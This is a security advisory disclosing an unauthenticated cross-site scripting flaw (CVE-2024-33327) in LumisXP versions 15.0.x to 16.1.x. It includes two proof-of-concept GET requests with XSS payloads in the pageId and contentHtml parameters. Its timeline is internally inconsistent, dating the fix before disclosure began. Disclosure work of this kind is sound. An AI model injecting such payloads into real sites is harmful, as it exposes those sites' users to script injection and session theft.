LumisXP 16.1.x Cross Site Scripting

`=====[ Tempest Security Intelligence - ADV-6/2024  
]==========================  
  
LumisXP v15.0.x to v16.1.x  
  
Author: Rodolfo Tavares  
  
Tempest Security Intelligence - Recife, Pernambuco - Brazil  
  
=====[ Table of Contents]==================================================  
* Overview  
* Detailed description  
* Timeline of disclosure  
* Thanks & Acknowledgements  
* References  
  
=====[ Vulnerability  
Information]=============================================  
* Class: Improper Neutralization of Input During Web Page Generation  
('Cross-site Scripting')  
('Improper Neutralization of Input During Web Page Generation ('Cross-site  
Scripting')') [CWE-79]  
  
* CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N - 5.4  
  
=====[ Overview]========================================================  
* System affected : LumisXP  
* Software Version : Version - v15.0.x to v16.1.x  
* Impacts :  
* Vulnerability: Lumisxp versions 15.0.x to 16.1.x have an unauthenticated  
XSS vulnerability in the UrlAccessibilityEvaluation.jsp page, specifically  
in the contentHtml parameter.  
  
=====[ Detailed  
description]=================================================  
* XSS [GET  
/main.jsp?lumChannelId=00000000F00000000000000000000002&lumPageId=LumisBlankPage&lumRTI=lumis.service.doui.selectstructureelement.selectPage&pageId=%22%2c%20print()%2c%0d%22aaa  
]:  
  
1 - Send the link by inserting the XSS payload into the contentHtml=  
parameter.  
  
```  
GET  
/lumis/service/htmlevaluation/UrlAccessibilityEvaluation.jsp?contentHtml=%3cp%3e%3ci%20id%3d%22run-code-button%22%20lang%3d%22xml%22%20title%3d%22Run%20Code%20and%20See%20Output%22%3e%3c%2fi%3e%3c%2fp%3e%0a%0a%3cp%3e%3ci%20title%3d%22Light%20Mode%22%3e%3c%2fi%3e%3c%2fp%3e%0a%0a%3ctable%20border%3d%220%22%20cellpadding%3d%220%22%20cellspacing%3d%220mmdfn%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt  
  
```  
2 - Verify that in the response your payload will be executed.  
  
  
=====[ Timeline of  
disclosure]===============================================  
  
2/Apr/2024 - Responsible disclosure was initiated with the vendor.  
12/Apr/2024 - LumisXP Support confirmed the issue;  
16/Fev/2024 - The vendor fixed the vulnerability  
29/May/2024 - CVEs was assigned and reserved as CVE-2024-33327  
  
=====[ Thanks & Acknowledgements]========================================  
* Tempest Security Intelligence [1]  
* Rodolfo Tavares  
* Niklas Correa  
  
=====[ References ]=====================================================  
  
[1][ [https://cwe.mitre.org/data/definitions/79.html]  
[2][ [https://www.tempest.com.br|https://www.tempest.com.br/]]  
[3][Thanks Filipe X.]  
  
=====[ EOF ]===========================================================  
  
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